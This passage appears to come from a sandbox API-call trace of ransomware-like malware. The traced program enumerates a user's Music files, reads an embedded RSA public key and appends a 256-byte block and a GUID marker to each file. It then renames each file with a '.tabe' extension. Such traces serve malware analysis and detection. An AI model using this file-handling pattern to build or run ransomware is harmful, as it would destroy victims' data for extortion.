KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.094] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.094] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.094] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.095] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.095] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.095] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.095] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.095] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.095] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.095] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.095] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.095] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.095] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.095] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x42e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.095] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.096] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.096] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.096] CloseHandle (hObject=0x618) returned 1 [0127.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\H0Yy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\h0yy.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\H0Yy.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\h0yy.mp3.tabe")) returned 1 [0127.098] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44dcc00, ftCreationTime.dwHighDateTime=0x1d5e394, ftLastAccessTime.dwLowDateTime=0x7847eef0, ftLastAccessTime.dwHighDateTime=0x1d5de14, ftLastWriteTime.dwLowDateTime=0x7847eef0, ftLastWriteTime.dwHighDateTime=0x1d5de14, nFileSizeHigh=0x0, nFileSizeLow=0x182af, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Ul8FuF.mp3", cAlternateFileName="")) returned 1 [0127.098] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\Ul8FuF.mp3") returned=".mp3" [0127.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\Ul8FuF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\ul8fuf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.098] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=98991) returned 1 [0127.098] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.099] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18289, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.099] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.100] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x182af, lpOverlapped=0x0) returned 1 [0127.101] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.101] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.101] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.101] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.102] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.102] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.102] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.102] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.102] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.102] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.102] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.102] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.102] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.103] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.103] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x182af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.103] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.103] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.103] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.103] CloseHandle (hObject=0x618) returned 1 [0127.105] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\Ul8FuF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\ul8fuf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\Ul8FuF.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\ul8fuf.mp3.tabe")) returned 1 [0127.106] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44dcc00, ftCreationTime.dwHighDateTime=0x1d5e394, ftLastAccessTime.dwLowDateTime=0x7847eef0, ftLastAccessTime.dwHighDateTime=0x1d5de14, ftLastWriteTime.dwLowDateTime=0x7847eef0, ftLastWriteTime.dwHighDateTime=0x1d5de14, nFileSizeHigh=0x0, nFileSizeLow=0x182af, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Ul8FuF.mp3", cAlternateFileName="")) returned 0 [0127.106] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.106] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.106] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.106] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\") returned="FtYbuj0\\" [0127.106] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.106] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.106] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.106] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.106] PathFindFileNameW (pszPath="") returned="" [0127.106] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38953bc0, ftCreationTime.dwHighDateTime=0x1d5dca0, ftLastAccessTime.dwLowDateTime=0x8455ec70, ftLastAccessTime.dwHighDateTime=0x1d5e39a, ftLastWriteTime.dwLowDateTime=0x8455ec70, ftLastWriteTime.dwHighDateTime=0x1d5e39a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.107] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38953bc0, ftCreationTime.dwHighDateTime=0x1d5dca0, ftLastAccessTime.dwLowDateTime=0x8455ec70, ftLastAccessTime.dwHighDateTime=0x1d5e39a, ftLastWriteTime.dwLowDateTime=0x8455ec70, ftLastWriteTime.dwHighDateTime=0x1d5e39a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.107] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e949dd0, ftCreationTime.dwHighDateTime=0x1d5e489, ftLastAccessTime.dwLowDateTime=0xd6318a20, ftLastAccessTime.dwHighDateTime=0x1d5e374, ftLastWriteTime.dwLowDateTime=0xd6318a20, ftLastWriteTime.dwHighDateTime=0x1d5e374, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2_a9IgOQoUtvE0", cAlternateFileName="2_A9IG~1")) returned 1 [0127.107] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85503cb0, ftCreationTime.dwHighDateTime=0x1d5e373, ftLastAccessTime.dwLowDateTime=0x88e382a0, ftLastAccessTime.dwHighDateTime=0x1d5dd3e, ftLastWriteTime.dwLowDateTime=0x88e382a0, ftLastWriteTime.dwHighDateTime=0x1d5dd3e, nFileSizeHigh=0x0, nFileSizeLow=0x14880, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5YoP-B8bdD.mp3", cAlternateFileName="5YOP-B~1.MP3")) returned 1 [0127.107] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\5YoP-B8bdD.mp3") returned=".mp3" [0127.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\5YoP-B8bdD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\5yop-b8bdd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.108] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=84096) returned 1 [0127.108] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.109] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1485a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.109] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.110] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x14880, lpOverlapped=0x0) returned 1 [0127.111] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.111] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.111] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.111] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.112] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.112] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.112] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.112] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.112] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.112] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.112] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.112] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.112] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.113] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.113] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.113] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.113] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.113] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.114] CloseHandle (hObject=0x618) returned 1 [0127.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\5YoP-B8bdD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\5yop-b8bdd.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\5YoP-B8bdD.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\5yop-b8bdd.mp3.tabe")) returned 1 [0127.116] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd93ef0, ftCreationTime.dwHighDateTime=0x1d5e3b9, ftLastAccessTime.dwLowDateTime=0x7396dc0, ftLastAccessTime.dwHighDateTime=0x1d5d9e5, ftLastWriteTime.dwLowDateTime=0x7396dc0, ftLastWriteTime.dwHighDateTime=0x1d5d9e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BquPTmFwSg r_ r54uDJ", cAlternateFileName="BQUPTM~1")) returned 1 [0127.116] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29a25b00, ftCreationTime.dwHighDateTime=0x1d5da81, ftLastAccessTime.dwLowDateTime=0x2a266d00, ftLastAccessTime.dwHighDateTime=0x1d5e1b1, ftLastWriteTime.dwLowDateTime=0x2a266d00, ftLastWriteTime.dwHighDateTime=0x1d5e1b1, nFileSizeHigh=0x0, nFileSizeLow=0xf080, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="u1k-ClJ_35H2Zr.wav", cAlternateFileName="U1K-CL~1.WAV")) returned 1 [0127.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\u1k-ClJ_35H2Zr.wav") returned=".wav" [0127.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\u1k-ClJ_35H2Zr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\u1k-clj_35h2zr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.117] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=61568) returned 1 [0127.117] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.118] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf05a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.118] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.120] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.120] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xf080, lpOverlapped=0x0) returned 1 [0127.120] lstrlenA (lpString="-----BEGIN PUBLIC 